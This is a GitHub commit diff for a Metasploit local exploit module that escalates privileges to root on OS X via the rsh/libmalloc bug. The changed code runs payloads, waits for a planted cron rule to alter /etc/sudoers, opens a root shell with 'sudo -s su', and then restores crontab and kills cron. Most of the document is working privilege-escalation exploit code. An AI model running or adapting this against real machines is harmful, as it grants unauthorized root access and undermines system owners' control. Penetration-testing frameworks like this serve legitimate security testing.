Skip to content

Commit 5fcc70b

Browse files
author
Sam H
committed
Fixed issue w/ msf payloads + added timeout rescue
Apparently when OS X payload shells get a sudo command, it requires a full path (even though it clearly has $PATH defined in its env...) to that file. The updates here take that into account. Also, the script more directly catches a timeout error when the maximum time for sudoers file to change has passed.
1 parent 348a0f9 commit 5fcc70b

File tree

1 file changed

+36
-24
lines changed

1 file changed

+36
-24
lines changed

modules/exploits/osx/local/rsh_libmalloc.rb

Lines changed: 36 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -69,6 +69,7 @@ def exploit
6969
vprint_status("Writing payload to #{payload_file}.")
7070
write_file(payload_file, payload_source)
7171
vprint_status("Finished writing payload file.")
72+
register_file_for_cleanup(payload_file)
7273
elsif payload.arch.include? ARCH_PYTHON
7374
vprint_status("No need to write payload. Will simply execute after exploit")
7475
vprint_status("Payload encodeded is #{payload.encoded}")
@@ -80,10 +81,11 @@ def exploit
8081
# Execute payload
8182
print_status('Executing payload...')
8283
if payload.arch.include? ARCH_X86_64
83-
cmd_exec("sudo chmod +x #{payload_file}; sudo #{payload_file}")
84+
cmd_exec("chmod +x #{payload_file}; #{payload_file} & disown")
8485
elsif payload.arch.include? ARCH_PYTHON
85-
cmd_exec("sudo python -c \"#{payload.encoded}\"")
86+
cmd_exec("python -c \"#{payload.encoded}\" & disown")
8687
end
88+
vprint_status("Finished executing payload.")
8789
end
8890

8991
def os_check
@@ -105,10 +107,8 @@ def os_check
105107
end
106108

107109
def sploit
108-
user = cmd_exec("whoami").split(" ")
109-
if user.length > 1 then user = user[1] end
110-
111-
vprint_status("The current user is #{user}. start of sploit")
110+
user = cmd_exec("whoami").chomp
111+
vprint_status("The current effective user is #{user}. Starting the sploit")
112112
# Get size of sudoers file
113113
sudoer_path = "/etc/sudoers"
114114
size = get_stat_size(sudoer_path)
@@ -134,23 +134,25 @@ def sploit
134134

135135
# Wait for sudoers to change
136136
new_size = get_stat_size(sudoer_path)
137-
vprint_status("Got sudoers size again")
138-
counter = 0
139-
wait_time = datastore["WaitTime"]
140-
print_status("Waiting for sudoers file to change..")
141-
while new_size == size && counter < wait_time
142-
Rex.sleep(1)
143-
new_size = get_stat_size(sudoer_path)
144-
counter += 1
145-
end
137+
print_status("Waiting for sudoers file to change...")
146138

147-
if counter >= wait_time
148-
fail_with(Failure::TimeoutExpired, "Sudoers file still has not changed after #{counter} seconds. Try increasing WaitTime.")
139+
# Start timeout block
140+
begin
141+
Timeout.timeout(datastore['WaitTime']) {
142+
while new_size <= size
143+
Rex.sleep(1)
144+
new_size = get_stat_size(sudoer_path)
145+
end
146+
}
147+
rescue Timeout::Error
148+
fail_with(Failure::TimeoutExpired, "Sudoers file size has still not changed after waiting the maximum amount of time. Try increasing WaitTime.")
149149
end
150150
print_good("Sudoers file has changed!")
151151

152152
# Confirming root access
153-
user = cmd_exec("sudo whoami")
153+
print_status("Attempting to start root shell...")
154+
cmd_exec("sudo -s su")
155+
user = cmd_exec("whoami")
154156
unless user.include? "root"
155157
fail_with(Failure::UnexpectedReply, "Unable to acquire root access. Whoami returned: #{user}")
156158
end
@@ -183,21 +185,31 @@ def payload_file
183185
end
184186

185187
def cleanup
186-
# Include superclass cleanup
188+
vprint_status("Starting the cron restore process...")
187189
super
188190
# Restore crontab back to is original state
189191
# If we don't do this, then cron will continue to append the no password rule to sudoers.
190192
if @crontab_original.nil?
191193
# Erase crontab file and kill cron process since it did not exist before
192-
vprint_status("Removing crontab file since it did not exist prior to exploit. No need for it anymore.")
193-
rm_f("/etc/crontab")
194+
vprint_status("Killing cron process and removing crontab file since it did not exist prior to exploit.")
195+
rm_ret = cmd_exec("rm /etc/crontab 2>/dev/null; echo $?")
196+
if rm_ret.chomp.to_i == 0
197+
vprint_good("Successfully removed crontab file!")
198+
else
199+
print_warning("Could not remove crontab file.")
200+
end
194201
Rex.sleep(1)
195-
cmd_exec("sudo kill $(pgrep cron)")
202+
kill_ret = cmd_exec("killall cron 2>/dev/null; echo $?")
203+
if kill_ret.chomp.to_i == 0
204+
vprint_good("Succesfully killed cron!")
205+
else
206+
print_warning("Could not kill cron process.")
207+
end
196208
else
197209
# Write back the original content of crontab
198210
vprint_status("Restoring crontab file back to original contents. No need for it anymore.")
199-
write_file("/etc/crontab", @crontab_original)
211+
cmd_exec("echo '#{@crontab_original}' > /etc/crontab")
200212
end
213+
vprint_status("Finished the cleanup process.")
201214
end
202215
end
203-

0 commit comments

Comments
 (0)